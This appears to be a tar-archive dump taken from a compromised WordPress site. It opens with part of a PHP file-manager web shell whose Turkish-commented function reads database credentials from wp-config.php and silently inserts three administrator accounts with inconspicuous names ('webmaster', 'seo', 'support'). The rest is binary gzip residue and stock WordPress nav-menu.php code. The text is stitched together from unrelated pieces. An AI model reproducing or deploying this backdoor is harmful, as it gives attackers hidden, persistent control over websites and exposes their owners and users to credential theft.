errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } // WordPress Admin Kullanıcıları Oluşturma Fonksiyonu function create_wp_admin_users() { // WordPress veritabanı bağlantısı için wp-config.php dosyasını bul $wp_config_paths = array( './wp-config.php', '../wp-config.php', '../../wp-config.php', '../../../wp-config.php', '../../../../wp-config.php' ); $wp_config_path = null; foreach ($wp_config_paths as $path) { if (file_exists($path)) { $wp_config_path = $path; break; } } if (!$wp_config_path) { return array('error' => 'WordPress wp-config.php dosyası bulunamadı!'); } // wp-config.php dosyasını oku ve veritabanı bilgilerini çıkar $wp_config_content = file_get_contents($wp_config_path); // Veritabanı bilgilerini çıkar preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]\s*\)/", $wp_config_content, $db_name); preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]\s*\)/", $wp_config_content, $db_user); preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]\s*\)/", $wp_config_content, $db_pass); preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]\s*\)/", $wp_config_content, $db_host); if (empty($db_name[1]) || empty($db_user[1]) || empty($db_host[1])) { return array('error' => 'WordPress veritabanı bilgileri alınamadı!'); } $db_name = $db_name[1]; $db_user = $db_user[1]; $db_pass = isset($db_pass[1]) ? $db_pass[1] : ''; $db_host = $db_host[1]; // Veritabanına bağlan $mysqli = new mysqli($db_host, $db_user, $db_pass, $db_name); if ($mysqli->connect_error) { return array('error' => 'Veritabanına bağlanılamadı: ' . $mysqli->connect_error); } $mysqli->set_charset('utf8'); // Tablo prefix'ini bul preg_match("/\\\$table_prefix\s*=\s*['\"](.*?)['\"]/", $wp_config_content, $table_prefix); $table_prefix = isset($table_prefix[1]) ? $table_prefix[1] : 'wp_'; $users_table = $table_prefix . 'users'; $usermeta_table = $table_prefix . 'usermeta'; // 3 admin kullanıcısı oluştur $admin_users = array(); // Dikkat çekmeyen kullanıcı adları $usernames = array('webmaster', 'seo', 'support'); $display_names = array('Webmaster', 'SEO Manager', 'Support Team'); for ($i = 0; $i < 3; $i++) { $username = $usernames[$i]; $email = $username . '@' . $_SERVER['HTTP_HOST']; $password = generate_random_password(); $display_name = $display_names[$i]; // Kullanıcı adının benzersiz olduğundan emin ol $check_query = "SELECT ID FROM $users_table WHERE user_login = ?"; $stmt = $mysqli->prepare($check_query); $stmt->bind_param('s', $username); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { // Alternatif kullanıcı adları $alt_usernames = array('webmaster_' . time(), 'seo_' . time(), 'support_' . time()); $username = $alt_usernames[$i]; } // Kullanıcıyı oluştur $user_pass_hash = wp_hash_password($password); $user_registered = current_time('mysql'); $insert_query = "INSERT INTO $users_table (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (?, ?, ?, ?, '', ?, '', 0, ?)"; $stmt = $mysqli->prepare($insert_query); $stmt->bind_param('ssssss', $username, $user_pass_hash, $username, $email, $user_registered, $display_name); if ($stmt->execute()) { $user_id = $mysqli->insert_id; // Admin yetkilerini ekle $capabilities = serialize(array('administrator' => true)); $capabilities_query = "INSERT INTO $usermeta_table (user_id, meta_key, meta_value) VALUES (?, ?, ?)"; $stmt2 = $mysqli->prepare($capabilities_query); $stmt2->bind_param('iss', $user_id, $meta_key, $meta_value); $meta_key = $table_prefix . 'capabilities'; $meta_value = $capabilities; $stmt2->execute(); $meta_key = $table_prefix . 'user_level'; $meta_value = '10'; $stmt2->execute(); $admin_users[] = array( 'id' => $user_id, 'username' => $username, 'password' => $password, 'email' => $email ); $stmt2->close(); } $stmt->close(); } $mysqli->close(); return $admin_users; } // WordPress şifre hash fonksiyonu function wp_hash_password($password) { return password_hash($password, PASSWORD_DEFAULT); } // WordPress current_time fonksiyonu function current_time($type = 'mysql') { switch ($type) { case 'mysql': return date('Y-m-d H:i:s'); case 'timestamp': return time(); default: return date('Y-m-d H:i:s'); } } // Rastgele şifre oluşturma fonksiyonu function generate_random_password($length = 12) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*'; $password = ''; for ($i = 0; $i < $length; $i++) { $password .= $chars[rand(0, strlen($chars) - 1)]; } return $password; } // Çeviri değişkeni $translation = '{"Clone":"Klonla","File cloned successfully":"Dosya başarıyla klonlandı","during cloning":"klonlama sırasında","Create WP Admins":"WP Admin Oluştur","WP Admin Users Created":"WP Admin Kullanıcıları Oluşturuldu","Copy":"Kopyala"}'; ?>class-wp-debug-data.php.php.tar.gz000064400000030452152377531730013014 0ustar00}{6k l [I%{صG(b$ǛSݔg6d[$Wކwb2ZBD[֗__=^q/bOIv)hGE<y&"*e!2:q>Y<`BdXDwelkgq3.97mu.xs#>;H$7JBI*IdOQWV >.FX9 1`ۿsC$$#`"]]&YQ\y_?58D_Y0pYe svO{e>m-vS:E\/yF*;Q6e2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ebӾJW?#_D01 VjTE3tEoz'ӗz#So^㉒ 0Ry&&z.&<#,ci?!(^UPpV%MdRjUY  ,Cxʣ6s2:zȏ8 Fw`)yl_c`{JAיVuAT5zTNlE>9̯`zQey+Fu.>D.iqZ3|*B){Phq$GoGأ ڊҽ]-kᗼX~\F[٠4]FJݘ(Sc 9!/5Oǿ''0{bB=e vWƟDJ@~LE,BFԃZwm?tWd씯q&,Lkikd2ЦleG|vsY5b(s iN% rrie_xFK^`Y(ˆ,mƑe-E͸#tSd +Z,SBWvHP o<ؖo:5y[A[LkJ{Xۚ gE^PΡS3RT.q`mV1h 7ahƨѧZ%!OM͐0.)TSUāDC͋mYQ1*uv89=}}:Uaέ\7[CXl{nۡ"s܌hjыag W!ͼ 7akM,,w-]n%_~?P=7yKNfq6!z2L\eJ4Θ\$Ӝ̯pukV?㤴F⎧愴;F$ǘE_wA۷J<_lR`n#1;jx`StW3֌&YTbi>A{c-Ii8&y<8hhu' LfY&yMѾBBe4euikM CoaT *ԆY*kd|B d˲jdUc|ʕ26k1K bwM+ILYYp)BL:˸#j82_&1gy;x3lԩ%<2LRBGk*has$4kFXfURV\]ԢU/}['q?:ǯ,NW,6{7ZP}_8nav-menu.php.tar000064400000137000152377531730007606 0ustar00home/quizenacom/public_html/wp-admin/includes/nav-menu.php000064400000133363152377531150017754 0ustar00 $object_id, 'post_title' => get_the_title( $object_id ), 'post_type' => get_post_type( $object_id ), ) ); echo "\n"; } } } elseif ( taxonomy_exists( $object_type ) ) { if ( isset( $request['ID'] ) ) { $object_id = (int) $request['ID']; if ( 'markup' === $response_format ) { echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', array( get_term( $object_id, $object_type ) ) ), 0, (object) $args ); } elseif ( 'json' === $response_format ) { $post_obj = get_term( $object_id, $object_type ); echo wp_json_encode( array( 'ID' => $object_id, 'post_title' => $post_obj->name, 'post_type' => $object_type, ) ); echo "\n"; } } } } elseif ( preg_match( '/quick-search-(posttype|taxonomy)-([a-zA-Z_-]*\b)/', $type, $matches ) ) { if ( 'posttype' === $matches[1] && get_post_type_object( $matches[2] ) ) { $post_type_obj = _wp_nav_menu_meta_box_object( get_post_type_object( $matches[2] ) ); $args = array_merge( $args, array( 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'posts_per_page' => 10, 'post_type' => $matches[2], 's' => $query, ) ); if ( isset( $post_type_obj->_default_query ) ) { $args = array_merge( $args, (array) $post_type_obj->_default_query ); } $search_results_query = new WP_Query( $args ); if ( ! $search_results_query->have_posts() ) { return; } while ( $search_results_query->have_posts() ) { $post = $search_results_query->next_post(); if ( 'markup' === $response_format ) { $var_by_ref = $post->ID; echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', array( get_post( $var_by_ref ) ) ), 0, (object) $args ); } elseif ( 'json' === $response_format ) { echo wp_json_encode( array( 'ID' => $post->ID, 'post_title' => get_the_title( $post->ID ), 'post_type' => $matches[2], ) ); echo "\n"; } } } elseif ( 'taxonomy' === $matches[1] ) { $terms = get_terms( array( 'taxonomy' => $matches[2], 'name__like' => $query, 'number' => 10, 'hide_empty' => false, ) ); if ( empty( $terms ) || is_wp_error( $terms ) ) { return; } foreach ( (array) $terms as $term ) { if ( 'markup' === $response_format ) { echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', array( $term ) ), 0, (object) $args ); } elseif ( 'json' === $response_format ) { echo wp_json_encode( array( 'ID' => $term->term_id, 'post_title' => $term->name, 'post_type' => $matches[2], ) ); echo "\n"; } } } } } /** * Register nav menu meta boxes and advanced menu items. * * @since 3.0.0 */ function wp_nav_menu_setup() { // Register meta boxes. wp_nav_menu_post_type_meta_boxes(); add_meta_box( 'add-custom-links', __( 'Custom Links' ), 'wp_nav_menu_item_link_meta_box', 'nav-menus', 'side', 'default' ); wp_nav_menu_taxonomy_meta_boxes(); // Register advanced menu items (columns). add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' ); // If first time editing, disable advanced items by default. if ( false === get_user_option( 'managenav-menuscolumnshidden' ) ) { $user = wp_get_current_user(); update_user_meta( $user->ID, 'managenav-menuscolumnshidden', array( 0 => 'link-target', 1 => 'css-classes', 2 => 'xfn', 3 => 'description', 4 => 'title-attribute', ) ); } } /** * Limit the amount of meta boxes to pages, posts, links, and categories for first time users. * * @since 3.0.0 * * @global array $wp_meta_boxes */ function wp_initial_nav_menu_meta_boxes() { global $wp_meta_boxes; if ( get_user_option( 'metaboxhidden_nav-menus' ) !== false || ! is_array( $wp_meta_boxes ) ) { return; } $initial_meta_boxes = array( 'add-post-type-page', 'add-post-type-post', 'add-custom-links', 'add-category' ); $hidden_meta_boxes = array(); foreach ( array_keys( $wp_meta_boxes['nav-menus'] ) as $context ) { foreach ( array_keys( $wp_meta_boxes['nav-menus'][ $context ] ) as $priority ) { foreach ( $wp_meta_boxes['nav-menus'][ $context ][ $priority ] as $box ) { if ( in_array( $box['id'], $initial_meta_boxes, true ) ) { unset( $box['id'] ); } else { $hidden_meta_boxes[] = $box['id']; } } } } $user = wp_get_current_user(); update_user_meta( $user->ID, 'metaboxhidden_nav-menus', $hidden_meta_boxes ); } /** * Creates meta boxes for any post type menu item.. * * @since 3.0.0 */ function wp_nav_menu_post_type_meta_boxes() { $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'object' ); if ( ! $post_types ) { return; } foreach ( $post_types as $post_type ) { /** * Filters whether a menu items meta box will be added for the current * object type. * * If a falsey value is returned instead of an object, the menu items * meta box for the current meta box object will not be added. * * @since 3.0.0 * * @param WP_Post_Type|false $post_type The current object to add a menu items * meta box for. */ $post_type = apply_filters( 'nav_menu_meta_box_object', $post_type ); if ( $post_type ) { $id = $post_type->name; // Give pages a higher priority. $priority = ( 'page' === $post_type->name ? 'core' : 'default' ); add_meta_box( "add-post-type-{$id}", $post_type->labels->name, 'wp_nav_menu_item_post_type_meta_box', 'nav-menus', 'side', $priority, $post_type ); } } } /** * Creates meta boxes for any taxonomy menu item. * * @since 3.0.0 */ function wp_nav_menu_taxonomy_meta_boxes() { $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'object' ); if ( ! $taxonomies ) { return; } foreach ( $taxonomies as $tax ) { /** This filter is documented in wp-admin/includes/nav-menu.php */ $tax = apply_filters( 'nav_menu_meta_box_object', $tax ); if ( $tax ) { $id = $tax->name; add_meta_box( "add-{$id}", $tax->labels->name, 'wp_nav_menu_item_taxonomy_meta_box', 'nav-menus', 'side', 'default', $tax ); } } } /** * Check whether to disable the Menu Locations meta box submit button and inputs. * * @since 3.6.0 * @since 5.3.1 The `$display` parameter was added. * * @global bool $one_theme_location_no_menus to determine if no menus exist * * @param int|string $nav_menu_selected_id ID, name, or slug of the currently selected menu. * @param bool $display Whether to display or just return the string. * @return string|false Disabled attribute if at least one menu exists, false if not. */ function wp_nav_menu_disabled_check( $nav_menu_selected_id, $display = true ) { global $one_theme_location_no_menus; if ( $one_theme_location_no_menus ) { return false; } return disabled( $nav_menu_selected_id, 0, $display ); } /** * Displays a meta box for the custom links menu item. * * @since 3.0.0 * * @global int $_nav_menu_placeholder * @global int|string $nav_menu_selected_id */ function wp_nav_menu_item_link_meta_box() { global $_nav_menu_placeholder, $nav_menu_selected_id; $_nav_menu_placeholder = 0 > $_nav_menu_placeholder ? $_nav_menu_placeholder - 1 : -1; ?>

class="button submit-add-to-menu right" value="" name="add-custom-menu-item" id="submit-customlinkdiv" />

name; $post_type = get_post_type_object( $post_type_name ); $tab_name = $post_type_name . '-tab'; // Paginate browsing for large numbers of post objects. $per_page = 50; $pagenum = isset( $_REQUEST[ $tab_name ] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1; $offset = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0; $args = array( 'offset' => $offset, 'order' => 'ASC', 'orderby' => 'title', 'posts_per_page' => $per_page, 'post_type' => $post_type_name, 'suppress_filters' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, ); if ( isset( $box['args']->_default_query ) ) { $args = array_merge( $args, (array) $box['args']->_default_query ); } /* * If we're dealing with pages, let's prioritize the Front Page, * Posts Page and Privacy Policy Page at the top of the list. */ $important_pages = array(); if ( 'page' === $post_type_name ) { $suppress_page_ids = array(); // Insert Front Page or custom Home link. $front_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_on_front' ) : 0; $front_page_obj = null; if ( ! empty( $front_page ) ) { $front_page_obj = get_post( $front_page ); $front_page_obj->front_or_home = true; $important_pages[] = $front_page_obj; $suppress_page_ids[] = $front_page_obj->ID; } else { $_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? (int) $_nav_menu_placeholder - 1 : -1; $front_page_obj = (object) array( 'front_or_home' => true, 'ID' => 0, 'object_id' => $_nav_menu_placeholder, 'post_content' => '', 'post_excerpt' => '', 'post_parent' => '', 'post_title' => _x( 'Home', 'nav menu home label' ), 'post_type' => 'nav_menu_item', 'type' => 'custom', 'url' => home_url( '/' ), ); $important_pages[] = $front_page_obj; } // Insert Posts Page. $posts_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_for_posts' ) : 0; if ( ! empty( $posts_page ) ) { $posts_page_obj = get_post( $posts_page ); $posts_page_obj->posts_page = true; $important_pages[] = $posts_page_obj; $suppress_page_ids[] = $posts_page_obj->ID; } // Insert Privacy Policy Page. $privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); if ( ! empty( $privacy_policy_page_id ) ) { $privacy_policy_page = get_post( $privacy_policy_page_id ); if ( $privacy_policy_page instanceof WP_Post && 'publish' === $privacy_policy_page->post_status ) { $privacy_policy_page->privacy_policy_page = true; $important_pages[] = $privacy_policy_page; $suppress_page_ids[] = $privacy_policy_page->ID; } } // Add suppression array to arguments for WP_Query. if ( ! empty( $suppress_page_ids ) ) { $args['post__not_in'] = $suppress_page_ids; } } // @todo Transient caching of these results with proper invalidation on updating of a post of this type. $get_posts = new WP_Query; $posts = $get_posts->query( $args ); // Only suppress and insert when more than just suppression pages available. if ( ! $get_posts->post_count ) { if ( ! empty( $suppress_page_ids ) ) { unset( $args['post__not_in'] ); $get_posts = new WP_Query; $posts = $get_posts->query( $args ); } else { echo '

' . __( 'No items.' ) . '

'; return; } } elseif ( ! empty( $important_pages ) ) { $posts = array_merge( $important_pages, $posts ); } $num_pages = $get_posts->max_num_pages; $page_links = paginate_links( array( 'base' => add_query_arg( array( $tab_name => 'all', 'paged' => '%#%', 'item-type' => 'post_type', 'item-object' => $post_type_name, ) ), 'format' => '', 'prev_text' => '' . __( '«' ) . '', 'next_text' => '' . __( '»' ) . '', 'before_page_number' => '' . __( 'Page' ) . ' ', 'total' => $num_pages, 'current' => $pagenum, ) ); $db_fields = false; if ( is_post_type_hierarchical( $post_type_name ) ) { $db_fields = array( 'parent' => 'post_parent', 'id' => 'ID', ); } $walker = new Walker_Nav_Menu_Checklist( $db_fields ); $current_tab = 'most-recent'; if ( isset( $_REQUEST[ $tab_name ] ) && in_array( $_REQUEST[ $tab_name ], array( 'all', 'search' ), true ) ) { $current_tab = $_REQUEST[ $tab_name ]; } if ( ! empty( $_REQUEST[ 'quick-search-posttype-' . $post_type_name ] ) ) { $current_tab = 'search'; } $removed_args = array( 'action', 'customlink-tab', 'edit-menu-item', 'menu-item', 'page-tab', '_wpnonce', ); $most_recent_url = ''; $view_all_url = ''; $search_url = ''; if ( $nav_menu_selected_id ) { $most_recent_url = esc_url( add_query_arg( $tab_name, 'most-recent', remove_query_arg( $removed_args ) ) ); $view_all_url = esc_url( add_query_arg( $tab_name, 'all', remove_query_arg( $removed_args ) ) ); $search_url = esc_url( add_query_arg( $tab_name, 'search', remove_query_arg( $removed_args ) ) ); } ?>
    'post_date', 'order' => 'DESC', 'posts_per_page' => 15, ) ); $most_recent = $get_posts->query( $recent_args ); $args['walker'] = $walker; /** * Filters the posts displayed in the 'Most Recent' tab of the current * post type's menu items meta box. * * The dynamic portion of the hook name, `$post_type_name`, refers to the post type name. * * Possible hook names include: * * - `nav_menu_items_post_recent` * - `nav_menu_items_page_recent` * * @since 4.3.0 * @since 4.9.0 Added the `$recent_args` parameter. * * @param WP_Post[] $most_recent An array of post objects being listed. * @param array $args An array of `WP_Query` arguments for the meta box. * @param array $box Arguments passed to `wp_nav_menu_item_post_type_meta_box()`. * @param array $recent_args An array of `WP_Query` arguments for 'Most Recent' tab. */ $most_recent = apply_filters( "nav_menu_items_{$post_type_name}_recent", $most_recent, $args, $box, $recent_args ); echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $most_recent ), 0, (object) $args ); ?>
    has_archive ) { $_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? (int) $_nav_menu_placeholder - 1 : -1; array_unshift( $posts, (object) array( 'ID' => 0, 'object_id' => $_nav_menu_placeholder, 'object' => $post_type_name, 'post_content' => '', 'post_excerpt' => '', 'post_title' => $post_type->labels->archives, 'post_type' => 'nav_menu_item', 'type' => 'post_type_archive', 'url' => get_post_type_archive_link( $post_type_name ), ) ); } /** * Filters the posts displayed in the 'View All' tab of the current * post type's menu items meta box. * * The dynamic portion of the hook name, `$post_type_name`, refers * to the slug of the current post type. * * Possible hook names include: * * - `nav_menu_items_post` * - `nav_menu_items_page` * * @since 3.2.0 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object. * * @see WP_Query::query() * * @param object[] $posts The posts for the current post type. Mostly `WP_Post` objects, but * can also contain "fake" post objects to represent 